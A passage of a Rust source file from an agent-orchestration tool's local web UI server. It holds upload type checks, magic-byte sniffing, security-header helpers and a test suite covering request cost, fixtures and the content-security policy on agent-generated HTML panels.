8283 if raw == "image/svg+xml" {
8284 ApiError::bad_request(
8285 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8286 not just a picture",
8287 )
8288 } else if raw.is_empty() {
8289 ApiError::bad_request("Content-Type is required for an attachment upload")
8290 } else {
8291 ApiError::bad_request(format!(
8292 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8293 image/gif or image/webp"
8294 ))
8295 }
8296 })
8297}
8298
8299fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8302 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8303 Some("image/png")
8304 } else if data.starts_with(b"\xff\xd8\xff") {
8305 Some("image/jpeg")
8306 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8307 Some("image/gif")
8308 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8309 Some("image/webp")
8310 } else {
8311 None
8312 }
8313}
8314
8315fn filename_header(headers: &HeaderMap) -> String {
8321 headers
8322 .get(FILENAME_HEADER)
8323 .and_then(|v| v.to_str().ok())
8324 .map(str::trim)
8325 .filter(|s| !s.is_empty())
8326 .unwrap_or("attachment")
8327 .to_owned()
8328}
8329
8330fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8337 let content_type = ATTACHMENT_MIME_WHITELIST
8338 .iter()
8339 .find(|&&m| m == mime)
8340 .copied()
8341 .unwrap_or("application/octet-stream");
8342 (
8343 [
8344 (header::CONTENT_TYPE, content_type),
8345 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8346 ],
8347 body,
8348 )
8349 .into_response()
8350}
8351
8352async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8360 let repo = repo.to_path_buf();
8361 blocking(move || {
8362 let (cfg, _) = Config::discover(&repo, None)?;
8363 Ok(cfg)
8364 })
8365 .await
8366}
8367
8368fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8374 let mut hits = ids
8375 .into_iter()
8376 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8377 match (hits.next(), hits.next()) {
8378 (Some(one), None) => Ok(one),
8379 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8380 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8381 "`{prefix}` matches more than one {what}, including {a} and {b}"
8382 ))),
8383 }
8384}
8385
8386#[cfg(test)]
8387mod tests {
8388
8389 #[test]
8390 fn holder_reads_the_lease_not_the_record() {
8391 let mut q = Question::new(
8392 "run".to_owned(),
8393 "implement".to_owned(),
8394 "impl-A".to_owned(),
8395 "which?".to_owned(),
8396 String::new(),
8397 Vec::new(),
8398 );
8399 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8400 q.cwd = Some("/tmp".to_owned());
8401 assert_eq!(holder_of(&q, None), Some("nobody"));
8402 let beat = |kind, ago: i64| ask::Lease {
8403 kind,
8404 pid: 1,
8405 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8406 .unwrap(),
8407 };
8408 let fresh = beat(ask::WaiterKind::Asker, 1);
8409 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8410 let daemon = beat(ask::WaiterKind::Daemon, 1);
8411 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8412 let stale = beat(ask::WaiterKind::Asker, 3600);
8413 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8414
8415 let mut c = Question::new(
8418 "task".to_owned(),
8419 crate::conduct::NODE.to_owned(),
8420 "conduct".to_owned(),
8421 "which?".to_owned(),
8422 String::new(),
8423 Vec::new(),
8424 );
8425 assert_eq!(holder_of(&c, None), Some("nobody"));
8426 c.cwd = Some("/tmp".to_owned());
8427 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8428 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8429 let deputy = beat(ask::WaiterKind::Deputy, 1);
8430 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8431 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8432
8433 let mut r = Question::new(
8435 String::new(),
8436 crate::bump::NOTICE_NODE.to_owned(),
8437 "release-watch".to_owned(),
8438 "stuck?".to_owned(),
8439 String::new(),
8440 vec!["hold".to_owned()],
8441 );
8442 assert_eq!(holder_of(&r, None), Some("nobody"));
8443 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8444 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8445 r.deputy = None;
8447 r.seat = "bump".to_owned();
8448 assert_eq!(holder_of(&r, None), None);
8449
8450 let mut m = Question::new(
8453 "run".to_owned(),
8454 crate::land::APPROVAL_NODE.to_owned(),
8455 "land".to_owned(),
8456 "merge?".to_owned(),
8457 String::new(),
8458 Vec::new(),
8459 );
8460 assert_eq!(holder_of(&m, None), Some("nobody"));
8461 assert_eq!(
8462 holder_of(&m, Some(&fresh)),
8463 Some("nobody"),
8464 "a lease with no deputy is not a listener"
8465 );
8466 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8467 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8468 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8469 assert_eq!(holder_of(&m, None), Some("nobody"));
8470 }
8471
8472 fn stub_config() -> Config {
8473 Config {
8476 agents: vec![crate::config::AgentSpec {
8477 id: "stub".to_owned(),
8478 kind: AgentKind::Command,
8479 model: None,
8480 command: vec!["true".to_owned()],
8481 extra_args: Vec::new(),
8482 env: Default::default(),
8483 prompt_delivery: None,
8484 }],
8485 ..Config::default()
8486 }
8487 }
8488
8489 fn plain_question(seat: &str) -> Question {
8490 Question::new(
8491 String::new(),
8492 "n".to_owned(),
8493 seat.to_owned(),
8494 "s".to_owned(),
8495 String::new(),
8496 Vec::new(),
8497 )
8498 }
8499
8500 #[test]
8501 fn deputies_enabled_follows_the_config() {
8502 let on = stub_config();
8503 assert!(crate::deputy::can_start(Some(&on), ""));
8504 assert!(crate::deputy::can_start(Some(&on), "stub"));
8505 let mut off = on.clone();
8506 off.daemon.max_deputies = 0;
8507 assert!(!crate::deputy::can_start(Some(&off), ""));
8508 let mut empty = on;
8509 empty.agents.clear();
8510 assert!(!crate::deputy::can_start(Some(&empty), ""));
8511 assert!(!crate::deputy::can_start(None, ""));
8512 }
8513
8514 #[test]
8515 fn question_views_load_the_config_once() {
8516 let dir = TempDir::new().unwrap();
8517 let store = ask::Questions::at(dir.path().to_path_buf());
8518 let mut with_deputy = plain_question("b");
8519 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8520 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8521
8522 let calls = std::cell::Cell::new(0usize);
8523 let views = question_views(qs.clone(), &store, || {
8524 calls.set(calls.get() + 1);
8525 Some(stub_config())
8526 });
8527 assert_eq!(calls.get(), 1);
8528 assert_eq!(views.len(), 3);
8529 for (v, q) in views.iter().zip(&qs) {
8530 assert_eq!(
8531 v.deputies_enabled,
8532 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8533 );
8534 }
8535
8536 let views = question_views(qs, &store, || None);
8537 assert!(views.iter().all(|v| !v.deputies_enabled));
8538
8539 let calls = std::cell::Cell::new(0usize);
8540 let views = question_views(Vec::new(), &store, || {
8541 calls.set(calls.get() + 1);
8542 None
8543 });
8544 assert!(views.is_empty());
8545 assert_eq!(calls.get(), 0);
8546 }
8547
8548 use pretty_assertions::assert_eq;
8549 use serde_json::Value;
8550 use tempfile::TempDir;
8551 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8552
8553 use super::*;
8554 use crate::config::Config;
8555 use crate::queue::Source;
8556
8557 const SETTLE_STEPS: usize = 3_000;
8568
8569 struct Fixture {
8575 home: TempDir,
8576 addr: SocketAddr,
8577 }
8578
8579 impl Fixture {
8580 async fn start() -> Self {
8581 Self::with_loop(launch_idle).await
8582 }
8583
8584 async fn with_loop(launch: Launch) -> Self {
8586 let home = TempDir::new().expect("temp home");
8587 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8588 Self { home, addr }
8589 }
8590
8591 async fn with_repo(repo: PathBuf) -> Self {
8595 let home = TempDir::new().expect("temp home");
8596 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8597 Self { home, addr }
8598 }
8599
8600 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8603 let home = TempDir::new().expect("temp home");
8604 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8605 Self { home, addr }
8606 }
8607
8608 async fn serve(
8609 home: &FsPath,
8610 repo: PathBuf,
8611 launch: Launch,
8612 machine: Option<PathBuf>,
8613 ) -> SocketAddr {
8614 let queue = Queue::at(home.join("queue"));
8615 let runs = home.join("runs");
8616 std::fs::create_dir_all(&runs).expect("runs dir");
8617 let worktrees = home.join("wt").join("magi");
8618 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8619 let ui = Ui::new(
8620 queue,
8621 Questions::at(home.join("questions")),
8622 Talks::at(home.join("talks")),
8623 runs,
8624 home.to_path_buf(),
8625 repo,
8626 )
8627 .with_worktrees_root(worktrees)
8628 .with_machine_config(machine)
8629 .with_launch(launch);
8630 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8631 .await
8632 .expect("bind loopback");
8633 let addr = listener.local_addr().expect("local addr");
8634 tokio::spawn(async move {
8635 let router = ui
8636 .router()
8637 .layer(axum::middleware::from_fn(request_cost::observe));
8638 let _ = axum::serve(listener, router).await;
8639 });
8640 addr
8641 }
8642
8643 fn queue(&self) -> Queue {
8644 Queue::at(self.home.path().join("queue"))
8645 }
8646
8647 fn questions(&self) -> Questions {
8648 Questions::at(self.home.path().join("questions"))
8649 }
8650
8651 fn talks(&self) -> Talks {
8652 Talks::at(self.home.path().join("talks"))
8653 }
8654
8655 fn runs(&self) -> PathBuf {
8656 self.home.path().join("runs")
8657 }
8658
8659 async fn get(&self, path: &str) -> Res {
8660 request(self.addr, "GET", path, None).await
8661 }
8662
8663 async fn head(&self, path: &str) -> Res {
8668 request(self.addr, "HEAD", path, None).await
8669 }
8670
8671 async fn post(&self, path: &str, body: Option<&str>) -> Res {
8672 request(self.addr, "POST", path, body).await
8673 }
8674
8675 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8676 request_with(self.addr, "GET", path, None, extra).await
8677 }
8678
8679 async fn delete(&self, path: &str) -> Res {
8680 request(self.addr, "DELETE", path, None).await
8681 }
8682
8683 async fn put(&self, path: &str, body: &str) -> Res {
8684 request(self.addr, "PUT", path, Some(body)).await
8685 }
8686
8687 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8689 request_bytes(self.addr, path, headers, body).await
8690 }
8691 }
8692
8693 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8696 let tmp = TempDir::new().unwrap();
8697 let mut repos = Vec::new();
8698 for name in ["one", "two"] {
8699 let repo = tmp.path().join(name);
8700 let origin = tmp.path().join(format!("{name}.git"));
8701 std::fs::create_dir_all(&repo).unwrap();
8702 crate::git::git(&repo, &["init", "-b", "main"])
8703 .await
8704 .unwrap();
8705 std::fs::write(
8706 repo.join("magi.toml"),
8707 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8708 )
8709 .unwrap();
8710 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8711 crate::git::git(
8712 &repo,
8713 &[
8714 "-c",
8715 "user.name=fixture",
8716 "-c",
8717 "user.email=fixture@example.invalid",
8718 "commit",
8719 "-m",
8720 "fixture",
8721 ],
8722 )
8723 .await
8724 .unwrap();
8725 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8726 .await
8727 .unwrap();
8728 crate::git::git(
8729 &repo,
8730 &["remote", "add", "origin", origin.to_str().unwrap()],
8731 )
8732 .await
8733 .unwrap();
8734 crate::git::git(&repo, &["push", "origin", "main"])
8735 .await
8736 .unwrap();
8737 crate::git::git(
8738 &repo,
8739 &[
8740 "symbolic-ref",
8741 "refs/remotes/origin/HEAD",
8742 "refs/remotes/origin/main",
8743 ],
8744 )
8745 .await
8746 .unwrap();
8747 let (cfg, _) = Config::discover(&repo, None).unwrap();
8748 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8749 repos.push(repo);
8750 }
8751 let repos: [PathBuf; 2] = repos.try_into().unwrap();
8752 (tmp, repos)
8753 }
8754
8755 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8756 let (tmp, repos) = performance_repositories().await;
8757 let machine = tmp.path().join("machine.toml");
8758 std::fs::write(&machine, "").unwrap();
8759 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8760 (tmp, repos, fx)
8761 }
8762
8763 fn seed_performance(
8764 fx: &Fixture,
8765 repos: &[PathBuf; 2],
8766 questions: usize,
8767 runs: usize,
8768 items: usize,
8769 ) {
8770 for i in fx.questions().list().len()..questions {
8772 let mut question = Question::new(
8773 "20261001-000000-0000".into(),
8774 "implement".into(),
8775 "impl-A".into(),
8776 format!("question {i}"),
8777 "context".into(),
8778 vec!["yes".into(), "no".into()],
8779 );
8780 question.id = format!("20261003-000000-{i:04x}");
8781 fx.questions().put(&mut question).unwrap();
8782 }
8783 for i in run_ids(&fx.runs()).len()..runs {
8784 write_run_repo(
8785 &fx.runs(),
8786 &format!("20261001-000000-{i:04x}"),
8787 RunStatus::Ready,
8788 repos[i % 2].to_str().unwrap(),
8789 );
8790 }
8791 for i in fx.talks().list().len()..items {
8792 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8793 let mut talk = fx.talks().get(&id).unwrap();
8794 talk.repo = repos[i % 2].clone();
8795 fx.talks().put(&mut talk).unwrap();
8796 let mut task = crate::queue::Task::new(
8797 format!("task {i}"),
8798 "instruction".into(),
8799 repos[i % 2].clone(),
8800 crate::queue::Source::Agent {
8801 run: id,
8802 node: crate::queue::CHAT_NODE.into(),
8803 },
8804 );
8805 task.id = format!("20261004-000000-{i:04x}");
8806 fx.queue().put(&mut task).unwrap();
8807 if i < crate::notices::CAP {
8809 Notices::at(fx.home.path().join("notifications"))
8810 .raise(Notice::info(&format!("notice-{i}"), "notification"))
8811 .unwrap();
8812 }
8813 }
8814 assert_eq!(fx.questions().list().len(), questions);
8815 assert_eq!(run_ids(&fx.runs()).len(), runs);
8816 assert_eq!(fx.talks().list().len(), items);
8817 assert_eq!(fx.queue().list().len(), items);
8818 assert_eq!(
8819 Notices::at(fx.home.path().join("notifications"))
8820 .list()
8821 .len(),
8822 items.min(crate::notices::CAP)
8823 );
8824 }
8825
8826 fn request_counts(res: &Res) -> (usize, usize) {
8827 assert_eq!(res.status, 200, "{}", res.body);
8828 (
8829 res.header("x-test-discoveries").unwrap().parse().unwrap(),
8830 res.header("x-test-git").unwrap().parse().unwrap(),
8831 )
8832 }
8833
8834 #[tokio::test]
8835 async fn list_request_cost_is_independent_of_record_count() {
8836 let (_tmp, repos, fx) = performance_fixture().await;
8837 let mut previous = None;
8838 for n in [4, 60] {
8839 seed_performance(&fx, &repos, n, n, n);
8840 let mut costs = Vec::new();
8841 for (path, discoveries) in [
8842 ("/api/questions", 1),
8843 ("/api/talks", 2),
8844 ("/api/health", 1),
8845 ("/api/stats", 1),
8846 ] {
8847 for repo in &repos {
8850 let cache = repo.join(".git/magi/config");
8851 if cache.exists() {
8852 std::fs::remove_dir_all(cache).unwrap();
8853 }
8854 }
8855 let cost = request_counts(&fx.get(path).await);
8856 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8857 assert_eq!(cost.0, discoveries, "{path}, N={n}");
8858 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8859 costs.push(cost);
8860 }
8861 if let Some(previous) = previous {
8862 assert_eq!(costs, previous);
8863 }
8864 previous = Some(costs);
8865 }
8866 }
8870
8871 #[tokio::test]
8874 async fn list_handler_cost_without_transport() {
8875 let (_tmp, repos) = performance_repositories().await;
8876 let fx = Fixture {
8877 home: TempDir::new().unwrap(),
8878 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8879 };
8880 let ui = Arc::new(
8881 Ui::new(
8882 fx.queue(),
8883 fx.questions(),
8884 fx.talks(),
8885 fx.runs(),
8886 fx.home.path().to_path_buf(),
8887 repos[0].clone(),
8888 )
8889 .with_worktrees_root(fx.home.path().join("wt")),
8890 );
8891 let mut previous = None;
8892 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
8893 seed_performance(&fx, &repos, n, runs, items);
8894 let mut costs = Vec::new();
8895 for endpoint in ["questions", "talks", "health", "stats"] {
8896 for repo in &repos {
8897 let cache = repo.join(".git/magi/config");
8898 if cache.exists() {
8899 std::fs::remove_dir_all(cache).unwrap();
8900 }
8901 }
8902 let (_, cost) = request_cost::measure(async {
8903 match endpoint {
8904 "questions" => {
8905 let _ = questions_list(State(ui.clone())).await.unwrap();
8906 }
8907 "talks" => {
8908 let _ = talks_list(
8909 State(ui.clone()),
8910 Query(ListQuery {
8911 limit: None,
8912 ids: None,
8913 }),
8914 )
8915 .await
8916 .unwrap();
8917 }
8918 "health" => {
8919 let _ = health(State(ui.clone())).await.unwrap();
8920 }
8921 _ => {
8922 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
8923 .await
8924 .unwrap();
8925 }
8926 }
8927 })
8928 .await;
8929 eprintln!("{endpoint} handler N={n}: {cost:?}");
8930 assert_eq!(
8931 cost.0,
8932 if endpoint == "talks" { 2 } else { 1 },
8933 "{endpoint}"
8934 );
8935 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
8936 costs.push(cost);
8937 }
8938 if let Some(previous) = previous {
8939 assert_eq!(costs, previous);
8940 }
8941 previous = Some(costs);
8942 }
8943 }
8944
8945 #[tokio::test]
8946 async fn list_request_cost_scopes_do_not_mix() {
8947 let (_tmp, repos, fx) = performance_fixture().await;
8948 seed_performance(&fx, &repos, 10, 0, 10);
8949 let (questions, talks, notices) = tokio::join!(
8950 fx.get("/api/questions"),
8951 fx.get("/api/talks"),
8952 fx.get("/api/notifications")
8953 );
8954 assert_eq!(request_counts(&questions).0, 1);
8955 assert_eq!(request_counts(&talks).0, 2);
8956 assert_eq!(request_counts(¬ices), (0, 0));
8957 }
8958
8959 #[tokio::test]
8960 async fn list_endpoints_large_home_ceiling() {
8961 let (_tmp, repos, fx) = performance_fixture().await;
8962 seed_performance(&fx, &repos, 200, 300, 400);
8963 let mut failures = Vec::new();
8964 for path in [
8967 "/",
8968 "/app.js",
8969 "/app.css",
8970 "/api/questions",
8971 "/api/runs?limit=300",
8972 "/api/queue",
8973 "/api/talks",
8974 "/api/notifications",
8975 "/api/health",
8976 "/api/stats",
8977 "/api/loop",
8978 "/api/settings",
8979 "/api/repos",
8980 ] {
8981 let start = std::time::Instant::now();
8982 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
8983 let elapsed = start.elapsed();
8984 eprintln!("{path}: {elapsed:?}");
8985 match result {
8986 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
8987 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
8988 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
8989 }
8990 }
8991 assert!(failures.is_empty(), "{}", failures.join("\n"));
8992 }
8993
8994 struct Res {
8995 status: u16,
8996 headers: String,
8997 head: String,
9002 body: String,
9003 bytes: Vec<u8>,
9007 }
9008
9009 impl Res {
9010 fn json(&self) -> Value {
9011 serde_json::from_str(&self.body)
9012 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9013 }
9014
9015 fn header(&self, name: &str) -> Option<&str> {
9017 self.head.lines().find_map(|line| {
9018 let (key, value) = line.split_once(':')?;
9019 key.trim()
9020 .eq_ignore_ascii_case(name)
9021 .then(|| value.trim_start().trim_end_matches('\r'))
9022 })
9023 }
9024 }
9025
9026 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9029 request_with(addr, method, path, body, &[]).await
9030 }
9031
9032 async fn request_with(
9036 addr: SocketAddr,
9037 method: &str,
9038 path: &str,
9039 body: Option<&str>,
9040 extra: &[(&str, &str)],
9041 ) -> Res {
9042 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9043 for (name, value) in extra {
9044 head.push_str(&format!("{name}: {value}\r\n"));
9045 }
9046 if let Some(body) = body {
9047 head.push_str("Content-Type: application/json\r\n");
9048 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9049 }
9050 head.push_str("\r\n");
9051 if let Some(body) = body {
9052 head.push_str(body);
9053 }
9054 let mut socket = tokio::net::TcpStream::connect(addr)
9055 .await
9056 .expect("connect to the test server");
9057 socket
9058 .write_all(head.as_bytes())
9059 .await
9060 .expect("write request");
9061 let mut raw = Vec::new();
9062 socket.read_to_end(&mut raw).await.expect("read response");
9063 let split = raw
9066 .windows(4)
9067 .position(|w| w == b"\r\n\r\n")
9068 .expect("a header block");
9069 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9070 let bytes = raw[split + 4..].to_vec();
9071 let status = head
9072 .lines()
9073 .next()
9074 .and_then(|line| line.split_whitespace().nth(1))
9075 .and_then(|code| code.parse().ok())
9076 .expect("a status line");
9077 Res {
9078 status,
9079 headers: head.to_lowercase(),
9080 head,
9081 body: String::from_utf8_lossy(&bytes).into_owned(),
9082 bytes,
9083 }
9084 }
9085
9086 async fn request_bytes(
9092 addr: SocketAddr,
9093 path: &str,
9094 headers: &[(&str, &str)],
9095 body: &[u8],
9096 ) -> Res {
9097 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9098 for (name, value) in headers {
9099 head.push_str(&format!("{name}: {value}\r\n"));
9100 }
9101 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9102 let mut socket = tokio::net::TcpStream::connect(addr)
9103 .await
9104 .expect("connect to the test server");
9105 socket
9106 .write_all(head.as_bytes())
9107 .await
9108 .expect("write request head");
9109 socket.write_all(body).await.expect("write request body");
9110 let mut raw = Vec::new();
9111 socket.read_to_end(&mut raw).await.expect("read response");
9112 let split = raw
9113 .windows(4)
9114 .position(|w| w == b"\r\n\r\n")
9115 .expect("a header block");
9116 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9117 let bytes = raw[split + 4..].to_vec();
9118 let status = head
9119 .lines()
9120 .next()
9121 .and_then(|line| line.split_whitespace().nth(1))
9122 .and_then(|code| code.parse().ok())
9123 .expect("a status line");
9124 Res {
9125 status,
9126 headers: head.to_lowercase(),
9127 head,
9128 body: String::from_utf8_lossy(&bytes).into_owned(),
9129 bytes,
9130 }
9131 }
9132
9133 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9135 let mut state = RunState::new(
9136 PathBuf::from("/repo/magi"),
9137 "main".to_owned(),
9138 "0123456789abcdef".to_owned(),
9139 "Add a web UI\n\nMobile first.".to_owned(),
9140 Config::default(),
9141 );
9142 state.id = id.to_owned();
9143 state.status = status;
9144 let dir = runs.join(id);
9145 std::fs::create_dir_all(&dir).expect("run dir");
9146 std::fs::write(
9147 dir.join("run.json"),
9148 serde_json::to_string_pretty(&state).expect("serialize run"),
9149 )
9150 .expect("write run.json");
9151 }
9152
9153 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9157 let mut state = RunState::new(
9158 PathBuf::from(repo),
9159 "main".to_owned(),
9160 "0123456789abcdef".to_owned(),
9161 "task".to_owned(),
9162 Config::default(),
9163 );
9164 state.id = id.to_owned();
9165 state.status = status;
9166 let dir = runs.join(id);
9167 std::fs::create_dir_all(&dir).expect("run dir");
9168 std::fs::write(
9169 dir.join("run.json"),
9170 serde_json::to_string_pretty(&state).expect("serialize run"),
9171 )
9172 .expect("write run.json");
9173 }
9174
9175 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9176 let body = serde_json::json!({
9177 "schema": 1,
9178 "pid": 4242,
9179 "started_at": Timestamp::now().to_string(),
9180 "updated_at": updated_at.to_string(),
9181 "idle": false,
9182 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9183 "completed": 7,
9184 "polls": 143,
9185 });
9186 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9187 }
9188
9189 fn launch_idle(
9199 _opts: daemon::Opts,
9200 stop: daemon::Stop,
9201 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9202 Box::pin(async move {
9203 while !stop.stopped() {
9204 tokio::time::sleep(Duration::from_millis(2)).await;
9205 }
9206 Ok(())
9207 })
9208 }
9209
9210 fn launch_broken(
9213 _opts: daemon::Opts,
9214 _stop: daemon::Stop,
9215 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9216 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9221 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9222 Box::pin(async move {
9223 Err(anyhow::anyhow!(if first {
9224 "publish the daemon status file: read-only file system"
9225 } else {
9226 "the restarted stand-in failed as well"
9227 }))
9228 })
9229 }
9230
9231 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9238 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9239
9240 fn launch_knocking_on_the_way_out(
9247 _opts: daemon::Opts,
9248 stop: daemon::Stop,
9249 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9250 Box::pin(async move {
9251 while !stop.stopped() {
9252 tokio::time::sleep(Duration::from_millis(2)).await;
9253 }
9254 let addr = PARK_KNOCK
9255 .lock()
9256 .expect("park knock")
9257 .expect("the test set an address");
9258 let heard = request(addr, "GET", "/api/health", None).await.status;
9259 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9260 Ok(())
9261 })
9262 }
9263
9264 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9273 for _ in 0..SETTLE_STEPS {
9274 let view = fx.get("/api/loop").await.json();
9275 if want(&view) {
9276 return view;
9277 }
9278 tokio::time::sleep(Duration::from_millis(10)).await;
9279 }
9280 panic!(
9281 "the loop never settled: {}",
9282 fx.get("/api/loop").await.json()
9283 );
9284 }
9285
9286 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9288 let store = fx.questions();
9289 let mut q = Question::new(
9290 "20260902-000000-beef".to_owned(),
9291 "implement".to_owned(),
9292 "impl-A".to_owned(),
9293 summary.to_owned(),
9294 "because it matters".to_owned(),
9295 choices.iter().map(|c| (*c).to_owned()).collect(),
9296 );
9297 store.put(&mut q).expect("put question");
9298 q.id
9299 }
9300
9301 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9307 let store = fx.questions();
9308 let mut q = Question::new(
9309 "20260902-000000-beef".to_owned(),
9310 "land".to_owned(),
9311 "fix".to_owned(),
9312 "Merge this?".to_owned(),
9313 "the diff is in the panel".to_owned(),
9314 vec!["merge".to_owned(), "hold".to_owned()],
9315 );
9316 let staging = fx.home.path().join("staging");
9319 std::fs::create_dir_all(&staging).expect("staging dir");
9320 let sources: Vec<PathBuf> = assets
9321 .iter()
9322 .map(|(name, bytes)| {
9323 let path = staging.join(name);
9324 std::fs::write(&path, bytes).expect("write staged asset");
9325 path
9326 })
9327 .collect();
9328 store
9329 .put_panel(&mut q, html, &sources)
9330 .expect("write the panel");
9331 store.put(&mut q).expect("put question");
9332 q.id
9333 }
9334
9335 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9344 seed_talk_at(&fx.talks(), id, status)
9345 }
9346
9347 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9348 std::fs::create_dir_all(store.root()).expect("talks dir");
9349 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9350 .expect("serialize a seat");
9351 let body = serde_json::json!({
9352 "schema": 1,
9353 "id": id,
9354 "repo": "/repo/magi",
9355 "agent": "mock",
9356 "status": status,
9357 "turns": [],
9358 "created_at": Timestamp::now().to_string(),
9359 "updated_at": Timestamp::now().to_string(),
9360 "seat": seat,
9361 });
9362 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9363 store.get(id).expect("the seeded talk has to be readable");
9364 id.to_owned()
9365 }
9366
9367 #[tokio::test]
9368 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9369 let fx = Fixture::start().await;
9370 let id = panel(
9371 &fx,
9372 "<h1>Merge?</h1><img src=\"diff.svg\">",
9373 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9374 );
9375
9376 for path in [
9377 format!("/api/questions/{id}/panel"),
9378 format!("/api/questions/{id}/asset/diff.svg"),
9379 ] {
9380 let res = fx.get(&path).await;
9381 assert_eq!(res.status, 200, "{path}: {}", res.body);
9382 assert_eq!(
9388 res.header("content-security-policy"),
9389 Some(
9390 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9391 font-src data:; base-uri 'none'; form-action 'none'; \
9392 frame-ancestors 'self'"
9393 ),
9394 "{path} is the only thing between a hostile panel and the tailnet"
9395 );
9396 assert_eq!(
9397 res.header("x-content-type-options"),
9398 Some("nosniff"),
9399 "{path}: a browser must not re-decide the type we sent"
9400 );
9401 assert_eq!(
9402 res.header("referrer-policy"),
9403 Some("no-referrer"),
9404 "{path}: a panel must not leak the question id off the machine"
9405 );
9406
